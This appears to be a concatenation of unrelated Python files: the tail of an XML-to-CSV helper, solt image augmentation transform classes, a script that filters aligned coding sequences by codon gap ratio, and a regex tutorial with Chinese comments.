    # Divide the list containing the text corresponding to sub-elements into multiple list with size of each of those being a multiple of the number of Columns
    subElementText = getChunks(inputListElementText, numberColumns)
    for i in range(len(subElementText)):
        spreadsheetRepresentationQueries.append(subElementText[i])
    return spreadsheetRepresentationQueries

# Commands to test the code
print(childName)
print("\n\n",childText)

# Obtain the headers of the CSV
headersCSV= getUniqueChildElements(childName)
print("\n\n",headersCSV)

# Obtain number of columns
numberColumns = len(getUniqueChildElements(childName))
print("\n\n",numberColumns)

# Obtain number of queries
numberQueries= getCountQueries(childText)
print("\n\n",numberQueries)

# Obtain chunks of queries
queriesInChunks= getChunks(childText, numberColumns)
print("\n\n",queriesInChunks)

# Obtain spreadsheet representation of queries
queriesInTwoDimList = getSpreadsheetRepresentation(childName, childText)
print("\n\n",queriesInTwoDimList)

# Obtain CSV file from the nested list
import csv
data = getSpreadsheetRepresentation(childName, childText)
with open('queriesInSpreadsheet.csv', 'w') as csvfile:
    writer = csv.writer(csvfile, delimiter= ',')
    writer.writerows(data)
    csvfile.close()


import copy
import random
from abc import ABCMeta, abstractmethod
import cv2
import numpy as np

from scipy.ndimage import rotate, shift

from solt.utils import Serializable
from solt.constants import ALLOWED_INTERPOLATIONS, ALLOWED_PADDINGS
from solt.core._data import DataContainer, Keypoints
from solt.core._base_transforms import BaseTransform, InterpolationPropertyHolder, PaddingPropertyHolder
from solt.utils import ensure_valid_image, validate_parameter, validate_numeric_range_parameter
from solt.core import ImageTransform

class MatrixTransform(BaseTransform, InterpolationPropertyHolder, PaddingPropertyHolder):
    """Matrix Transform abstract class. (Affine and Homography).
    Does all the transforms around the image /  center.

    Parameters
    ----------
    interpolation : str
        Interpolation mode.
    padding : str or None
        Padding Mode.
    p : float
        Probability of transform's execution.
    ignore_state : bool
        Whether to ignore the pre-calculated transformation or not. If False,
        then it will lead to an incorrect behavior when the objects are of different sizes.
        Should be used only when it is assumed that the image, mask and keypoints are of
        the same size.

    """

    def __init__(
        self, interpolation="bilinear", padding="z", p=0.5, ignore_state=True, affine=True, ignore_fast_mode=False,
    ):
        BaseTransform.__init__(self, p=p, data_indices=None)
        InterpolationPropertyHolder.__init__(self, interpolation=interpolation)
        PaddingPropertyHolder.__init__(self, padding=padding)

        self.ignore_fast_mode = ignore_fast_mode
        self.fast_mode = False
        self.affine = affine
        self.ignore_state = ignore_state
        self.reset_state()

    def reset_state(self):
        BaseTransform.reset_state(self)
        self.state_dict["transform_matrix"] = np.eye(3)

    def fuse_with(self, trf):
        """
        Takes a transform an performs a matrix fusion. This is useful to optimize the computations

        Parameters
        ----------
        trf : MatrixTransform

        """

        if trf.padding is not None:
            self.padding = trf.padding
        self.interpolation = trf.interpolation

        self.state_dict["transform_matrix"] = trf.state_dict["transform_matrix"] @ self.state_dict["transform_matrix"]

    def sample_transform(self, data):
        """Samples the transform and corrects for frame change.

        Returns
        -------
        None

        """
        super(MatrixTransform, self).sample_transform(data)
        self.sample_transform_matrix(data)  # Only this method needs to be implemented!

        # If we are in fast mode, we do not have to recompute the the new coordinate frame!
        if "P" not in data.data_format and not self.ignore_fast_mode:
            width = self.state_dict["frame"][1]
            height = self.state_dict["frame"][0]
            origin = [(width - 1) // 2, (height - 1) // 2]
            # First, let's make sure that our transformation matrix is applied at the origin
            transform_matrix_corr = MatrixTransform.move_transform_to_origin(
                self.state_dict["transform_matrix"], origin
            )
            self.state_dict["frame_new"] = list(copy.copy(self.state_dict["frame"]))

            self.state_dict["transform_matrix_corrected"] = transform_matrix_corr
        else:
            # If we have the keypoints or the transform is a homographic one, we can't use the fast mode at all.
            self.correct_transform()

    @staticmethod
    def move_transform_to_origin(transform_matrix, origin):
        # First we correct the transformation so that it is performed around the origin
        transform_matrix = transform_matrix.copy()
        t_origin = np.array([1, 0, -origin[0], 0, 1, -origin[1], 0, 0, 1]).reshape((3, 3))

        t_origin_back = np.array([1, 0, origin[0], 0, 1, origin[1], 0, 0, 1]).reshape((3, 3))
        transform_matrix = np.dot(t_origin_back, np.dot(transform_matrix, t_origin))

        return transform_matrix

    @staticmethod
    def recompute_coordinate_frame(transform_matrix, width, height):
        coord_frame = np.array([[0, 0, 1], [0, height, 1], [width, height, 1], [width, 0, 1]])
        new_frame = np.dot(transform_matrix, coord_frame.T).T
        new_frame[:, 0] /= new_frame[:, -1]
        new_frame[:, 1] /= new_frame[:, -1]
        new_frame = new_frame[:, :-1]
        # Computing the new coordinates

        # If during the transform, we obtained negative coordinates, we have to move to the origin
        if np.any(new_frame[:, 0] < 0):
            new_frame[:, 0] += abs(new_frame[:, 0].min())
        if np.any(new_frame[:, 1] < 0):
            new_frame[:, 1] += abs(new_frame[:, 1].min())

        new_frame[:, 0] -= new_frame[:, 0].min()
        new_frame[:, 1] -= new_frame[:, 1].min()
        w_new = int(np.round(new_frame[:, 0].max()))
        h_new = int(np.round(new_frame[:, 1].max()))

        return h_new, w_new

    @staticmethod
    def correct_for_frame_change(transform_matrix: np.ndarray, width: int, height: int):
        """Method takes a matrix transform, and modifies its origin.

        Parameters
        ----------
        transform_matrix : numpy.ndarray
            Transform (3x3) matrix
        width : int
            Width of the coordinate frame
        height : int
            Height of the coordinate frame
        Returns
        -------
        out : numpy.ndarray
            Modified Transform matrix

        """
        origin = [(width - 1) // 2, (height - 1) // 2]
        # First, let's make sure that our transformation matrix is applied at the origin
        transform_matrix = MatrixTransform.move_transform_to_origin(transform_matrix, origin)
        # Now, if we think of scaling, rotation and translation, the image size gets increased
        # when we apply any geometric transform. Default behaviour in OpenCV is designed to crop the
        # image edges, however it is not desired when we want to deal with Keypoints (don't want them
        # to exceed teh image size).

        # If we imagine that the image edges are a rectangle, we can rotate it around the origin
        # to obtain the new coordinate frame
        h_new, w_new = MatrixTransform.recompute_coordinate_frame(transform_matrix, width, height)
        transform_matrix[0, -1] += w_new // 2 - origin[0]
        transform_matrix[1, -1] += h_new // 2 - origin[1]

        return transform_matrix, w_new, h_new

    @abstractmethod
    def sample_transform_matrix(self, data):
        """Method that is called to sample the transform matrix

        """

    def correct_transform(self):
        h, w = self.state_dict["frame"][:2]
        tm = self.state_dict["transform_matrix"]
        tm_corr, w_new, h_new = MatrixTransform.correct_for_frame_change(tm, w, h)
        self.state_dict["frame_new"] = [h_new, w_new]
        self.state_dict["transform_matrix_corrected"] = tm_corr

    def parse_settings(self, settings):
        interp = ALLOWED_INTERPOLATIONS[self.interpolation[0]]
        if settings["interpolation"][1] == "strict":
            interp = ALLOWED_INTERPOLATIONS[settings["interpolation"][0]]

        padding = ALLOWED_PADDINGS[self.padding[0]]
        if settings["padding"][1] == "strict":
            padding = ALLOWED_PADDINGS[settings["padding"][0]]

        return interp, padding

    def _apply_img_or_mask(self, img: np.ndarray, settings: dict):
        """Applies a transform to an image or mask without controlling the shapes.

        Parameters
        ----------
        img : numpy.ndarray
            Image or mask
        settings : dict
            Item-wise settings

        Returns
        -------
        out : numpy.ndarray
            Warped image

        """

        if self.affine:
            return self._apply_img_or_mask_affine(img, settings)
        else:
            return self._apply_img_or_mask_perspective(img, settings)

    def _apply_img_or_mask_perspective(self, img: np.ndarray, settings: dict):
        h_new = self.state_dict["frame_new"][0]
        w_new = self.state_dict["frame_new"][1]
        interp, padding = self.parse_settings(settings)
        transf_m = self.state_dict["transform_matrix_corrected"]
        return cv2.warpPerspective(img, transf_m, (w_new, h_new), flags=interp, borderMode=padding)

    def _apply_img_or_mask_affine(self, img: np.ndarray, settings: dict):
        h_new = self.state_dict["frame_new"][0]
        w_new = self.state_dict["frame_new"][1]
        interp, padding = self.parse_settings(settings)
        transf_m = self.state_dict["transform_matrix_corrected"]
        return cv2.warpAffine(img, transf_m[:2, :], (w_new, h_new), flags=interp, borderMode=padding)

    @ensure_valid_image(num_dims_spatial=(3,))
    def _apply_img(self, img: np.ndarray, settings: dict):
        """Applies a matrix transform to an image.
        If padding is None, the default behavior (zero padding) is expected.

        Parameters
        ----------
        img : numpy.ndarray
            Input Image
        settings : dict
            Item-wise settings

        Returns
        -------
        out : numpy.ndarray
            Output Image

        """
        return self._apply_img_or_mask(img, settings)

    def _apply_mask(self, mask: np.ndarray, settings: dict):
        """Abstract method, which defines the transform's behaviour when it is applied to masks HxW.

        If padding is None, the default behavior (zero padding) is expected.

        Parameters
        ----------
        mask : numpy.ndarray
            Mask to be augmented
        settings : dict
            Item-wise settings

        Returns
        -------
        out : numpy.ndarray
            Result

        """
        return self._apply_img_or_mask(mask, settings)

    def _apply_labels(self, labels, settings: dict):
        """Transform's application to labels. Simply returns them back without modifications.

        Parameters
        ----------
        labels : numpy.ndarray
            Array of labels.
        settings : dict
            Item-wise settings

        Returns
        -------
        out : numpy.ndarray
            Result

        """
        return labels

    def _apply_pts(self, pts: Keypoints, settings: dict):
        """Abstract method, which defines the transform's behaviour when it is applied to keypoints.

        Parameters
        ----------
        pts : Keypoints
            Keypoints object
        settings : dict
            Item-wise settings

        Returns
        -------
        out : Keypoints
            Result

        """
        if self.padding[0] == "r":
            raise ValueError("Cannot apply transform to keypoints with reflective padding!")

        pts_data = pts.data.copy()

        tm_corr = self.state_dict["transform_matrix_corrected"]

        pts_data = np.hstack((pts_data, np.ones((pts_data.shape[0], 1))))
        pts_data = np.dot(tm_corr, pts_data.T).T

        pts_data[:, 0] /= pts_data[:, 2]
        pts_data[:, 1] /= pts_data[:, 2]

        return Keypoints(pts_data[:, :-1], frame=self.state_dict["frame_new"])

class Rotate(ImageTransform):
    """Random rotation around the center clockwise

    Parameters
    ----------
    angle_range : tuple or float or None
        Range of rotation.
        If float, then (-angle_range, angle_range) will be used for transformation sampling.
        if None, then angle_range=(0,0).
    p : float
        Probability of using this transform
    vol : bool
        Whether the rotation is applied in a 3D fashion (rotate on other than the first two dimensions)

    """

    _default_range = (0, 0)

    serializable_name = "rotate"
    """How the class should be stored in the registry"""

    def __init__(
        self, angle_range=None, p=0.5, data_indices=None, vol=False
    ):
        super(Rotate, self).__init__(p=p, data_indices=data_indices)

        if isinstance(angle_range, (int, float)):
            angle_range = (-angle_range, angle_range)

        self.angle_range = validate_numeric_range_parameter(angle_range, self._default_range)
        self.vol = vol

    def sample_transform(self, data: DataContainer):
        super(Rotate, self).sample_transform(data)
        self.state_dict['rot'] = random.uniform(self.angle_range[0], self.angle_range[1])
        self.state_dict['axes'] = random.sample([0, 1, 2], k=2)

    def _apply_img(self, img: np.ndarray, settings: dict):
        if self.vol:
            return rotate(img, angle=self.state_dict['rot'], axes=self.state_dict['axes'], reshape=False)
        else:
            return rotate(img, angle=self.state_dict['rot'], reshape=False)

class Translate(ImageTransform):
    """Random Translate transform

    Parameters
    ----------
    range_x: tuple or int or None
        Translation range along the horizontal axis. If int, then range_x=(-range_x, range_x).
        If None, then range_x=(0,0).
    range_y: tuple or int or None
        Translation range along the vertical axis. If int, then range_y=(-range_y, range_y).
        If None, then range_y=(0,0).
    range_z: tuple or int or None
        Translation range along the depth axis. If int, then range_z=(-range_z, range_z).
        If None, then data is assumed two-dimensional.
    magnification: int
        The relative size of input and target.
    p: float
        probability of applying this transform.
    """

    _default_range = (0, 0)

    serializable_name = "translate"
    """How the class should be stored in the registry"""

    def __init__(
                 self,
                 range_x=None,
                 range_y=None,
                 range_z=None,
                 p=0.5,
                 data_indices=None,
                 magnification=4,
    ):
        super(Translate, self).__init__(p=p, data_indices=data_indices)
        if isinstance(range_x, (int, float)):
            range_x = (min(range_x, -range_x), max(range_x, -range_x))

        if isinstance(range_y, (int, float)):
            range_y = (min(range_y, -range_y), max(range_y, -range_y))

        if isinstance(range_z, (int, float)):
            range_z = (min(range_z, -range_z), max(range_z, -range_z))

        self.range_x = validate_numeric_range_parameter(range_x, self._default_range)
        self.range_y = validate_numeric_range_parameter(range_y, self._default_range)

        # Range z only in 3D
        if range_z is not None:
            self.range_z = validate_numeric_range_parameter(range_z, self._default_range)
        else:
            self.range_z = None

        # Other attributes
        self.magnification = magnification
        self.frame_sml = None
        self.frame_lrg = None

    def sample_transform(self, data: DataContainer):
        super(Translate, self).sample_transform(data)

        self.frame_sml = data.data[0].shape[:-1]
        self.frame_lrg = data.data[1].shape[:-1]

        if self.range_z is not None:
            self.state_dict['translate'] = [random.uniform(self.range_x[0], self.range_x[1]),
                                            random.uniform(self.range_y[0], self.range_y[1]),
                                            random.uniform(self.range_z[0], self.range_z[1]),
                                            0]

            self.state_dict['translate_target'] = [self.state_dict['translate'][0] * self.magnification,
                                                   self.state_dict['translate'][1] * self.magnification,
                                                   self.state_dict['translate'][2] * self.magnification,
                                                   0]
        else:
            self.state_dict['translate'] = [random.uniform(self.range_x[0], self.range_x[1]),
                                            random.uniform(self.range_y[0], self.range_y[1]),
                                            0]

            self.state_dict['translate_target'] = [self.state_dict['translate'][0] * self.magnification,
                                                   self.state_dict['translate'][1] * self.magnification,
                                                   0]

    def _apply_img(self, img: np.ndarray, settings: dict):
        if img.shape[:-1] == self.frame_sml:
            return shift(img, shift=self.state_dict['translate'])
        elif img.shape[:-1] == self.frame_lrg:
            return shift(img, shift=self.state_dict['translate_target'])
        else:
            raise Exception('Image size mismatch!')


#!/usr/bin/python

# Note
# This script is used to further filter the aligned cds sequence based on the gap ratio

import os
from Bio import SeqIO
import pandas as pd
import argparse
import numpy as np
from Bio.Seq import Seq

# need a function to calculate the ratio of gaps
def filterCodonBasedGapRatio(OG_dict, gap_ratio=0.3):
    """
    This function is used to remove coden site with a lot of gaps
    :param OG_dict:
    :param gap_ratio:
    :return:
    """
    OG_dict_coden = {}
    for key, value in OG_dict.items():
        print(key, value)
        codon_original = value
        # change the "---" into 0 and "ATC" into 1
        codon_0_1 = []
        for x in codon_original:
            if x == "---":
                codon_0_1.append(0)
            else:
                codon_0_1.append(1)
        OG_dict_coden[key] = codon_0_1

    arr = np.stack(OG_dict_coden.values(), axis=1)

    sum_row = list(np.sum(arr, axis=1))
    seq_num = arr.shape[1]
    codon_num = arr.shape[0]
    ratio_row = [1 - (x / seq_num) for x in sum_row]
    # based on the ratio_row
    codon_index = [x + 1 for x in range(codon_num)]
    # then we could esitmate which codon can be kept based on the gap ratio
    # codon existed in 10 sequences will be also kept
    # further we can calculate the column wise score refer to the GUIDENCE 2.0
    codon_index_kept = []
    codon_index_removed = []
    #for t1, t2, t3 in zip(ratio_row, codon_index, sum_row):
    for t1, t2 in zip(ratio_row, codon_index):
        if t1 >= gap_ratio:
            codon_index_removed.append(t2)
        else:
            codon_index_kept.append(t2)
    return codon_index_kept

def produceSeqDict(fastInputBySeqIO):
    OG_dict = {}
    for record in fastInputBySeqIO:
        codon_seq = []
        for index in range(0, len(record.seq), 3):
            codon = record.seq[index:index + 3]
            print(codon)
            codon_seq.append("".join(list(codon)))
        OG_dict[record.id] = codon_seq
    return OG_dict

def outputFilterCDSbasedGapRatio(infile, fasta_out, id_mapping_out):
    """
    The function is used to output the filtered cds file based on the gap ratio.
    Be careful about the gap ratio setting!!!

    :param infile:
    :param fasta_out:
    :param id_mapping_out:
    :return:

    usage
    -------------------------------
    # an example
    # infile0 = "/Users/luho/Documents/branch_site_methanol/cds_align_macse_remove_stop_code_methanol/OG5327_code.fasta"
    # fasta_out0 = "/Users/luho/Documents/branch_site_methanol/cds_align_gap_filter_methanol/OG5327_code.fasta"
    # id_mapping_out0 =  "/Users/luho/Documents/branch_site_methanol/coordinate_mapping_after_cds_filter/OG5327.csv"
    # outputFilterCDSbasedGapRatio(infile=infile0, fasta_out=fasta_out0, id_mapping_out=id_mapping_out0)

    """

    OG_original = list(SeqIO.parse(infile, "fasta"))
    # step1 build the dict
    OG_dict0 = produceSeqDict(fastInputBySeqIO=OG_original)
    new_seq = []
    for record in OG_original:
        tempRecordSeq = list(record.seq)
        codon_seq = []
        for index in range(0, len(record.seq), 3):
            codon = record.seq[index:index + 3]
            print(codon)
            codon_seq.append("".join(list(codon)))
        # then based on the choose codon index based on the gap ratio
        codon_index_kept0 = filterCodonBasedGapRatio(OG_dict=OG_dict0, gap_ratio=0.3)
        index_choose = codon_index_kept0
        new_codon_seq = []
        for i, x in enumerate(codon_seq):
            print(i + 1, x)
            if i + 1 in index_choose:
                new_codon_seq.append(x)
        record.seq = Seq("".join(new_codon_seq))
        new_seq.append(record)

        # save the updated fasta file
        SeqIO.write(new_seq, fasta_out, "fasta")

        # output the id mapping
        new_index_of_codon = [x + 1 for x, ele in enumerate(codon_index_kept0)]
        id_mapping = pd.DataFrame({"original_pro_coordinate": codon_index_kept0,
                                   "new_coordinate": new_index_of_codon})
        id_mapping.to_csv(id_mapping_out)

# for the batch process
# the code file is stored in the document file
def main():
    parser = argparse.ArgumentParser(
            formatter_class = argparse.RawDescriptionHelpFormatter,
            description = 'Filter cds based on the site gap for the followed evolution analysis.')
    #adding arguments
    parser.add_argument('-n', metavar = 'input_file', type = str, help = 'input file which has unaligned/aligned nucleotide/codon sequence file')
    parser.add_argument('-o', metavar='output_file', type=str, help='output file to store the filtered cds')
    parser.add_argument('-m', metavar = 'output_file', type = str, help = 'output file to store the id mapping file')
    args = parser.parse_args()
    #set up output file name if none is given
    if args.o is None:
        cds_out_file = "data/"
    else:
        cds_out_file = args.o

    id_mapping_out = args.m
    nuc_seq_file = args.n

    # test
    nuc_seq_file = "/Users/luho/Documents/branch_site_methanol/cds_align_macse_remove_stop_code_methanol/"
    cds_out_file = "/Users/luho/Documents/branch_site_methanol/cds_align_gap_filter_methanol/"
    id_mapping_out = "/Users/luho/Documents/branch_site_methanol/coordinate_mapping_after_cds_filter/"

    all_ortholog = os.listdir(nuc_seq_file)
    for i in all_ortholog:
        print(i)
        if "_code.fasta" in i:
            infile0 = nuc_seq_file + i
            outfile1 = cds_out_file + i
            outfile2 = id_mapping_out + i.replace("_code.fasta",".csv")
            outputFilterCDSbasedGapRatio(infile=infile0, fasta_out=outfile1, id_mapping_out=outfile2)
        else: pass
if __name__ == "__main__":
    main()

# usage
# python A8_coden_align_filter_based_gap.py -n /Users/luho/Documents/branch_site_methanol/cds_align_macse_remove_stop_code_methanol/ -o /Users/luho/Documents/branch_site_methanol/cds_align_gap_filter_methanol/ -m /Users/luho/Documents/branch_site_methanol/coordinate_mapping_after_cds_filter/


#!/usr/bin/env python
#encoding:utf8

import re

# match(): 判断是否匹配，如果匹配成功，返回一个Match对象，否则返回None
restr = r'(P|python)' #匹配P或者python
if re.match(restr, 'Python'):
    '''
    '''
    #print 'match'

m = re.match(restr, 'Python') #匹配到的是P
#print m.groups()

# split(): 正则表达式切分字符串比用固定的字符更灵活
re.split(r'\s+', 'a b  c')

# 分组, 正则中用()表示的就是要提取的分组
# \d{3,8}才是正确的写法, \d{3, 8}(中间多了一个空格)就不能匹配, 切记
merr = re.match(r'(\d{3})-(\d{3, 8})', '010-123456')
#print merr

m = re.match(r'(\d{3})-(\d{3,8})', '010-123456')
#注意到group(0)永远是原始字符串，group(1)、group(2)……表示第1、2、……个子串
#print m.groups()
#print m.group(1)

# 一个体现正在是贪婪匹配的例子
m = re.match(r'(\d+)(0*)', '123000')
#print m.groups()

# 为了提高正则的效率, 可以先对重复使用的正在进行编译
re_phone = re.compile(r'(\d{3})-(\d{3,8})')
m = re_phone.match('010-12345')

#<hello> demonlife2013@gmail.com
#demonlife2013@test.co.uk
re_email1 = re.compile(r'(?P<nametag>\<[a-zA-Z0-9 \.-]+\>\s?)*([a-zA-Z0-9_\.-]+)@([a-zA-z0-9]+)(\.\w+)*(\.[a-z]{1,})')
m1 = re_email1.match('demonlife2013@gmail.com')
#print m1.groups()
m2 = re_email1.match('<demonlife> demonlife2013@test.gmail.com')
#print m2.groups()
#print 'regulare group name: %s' % m2.group('nametag')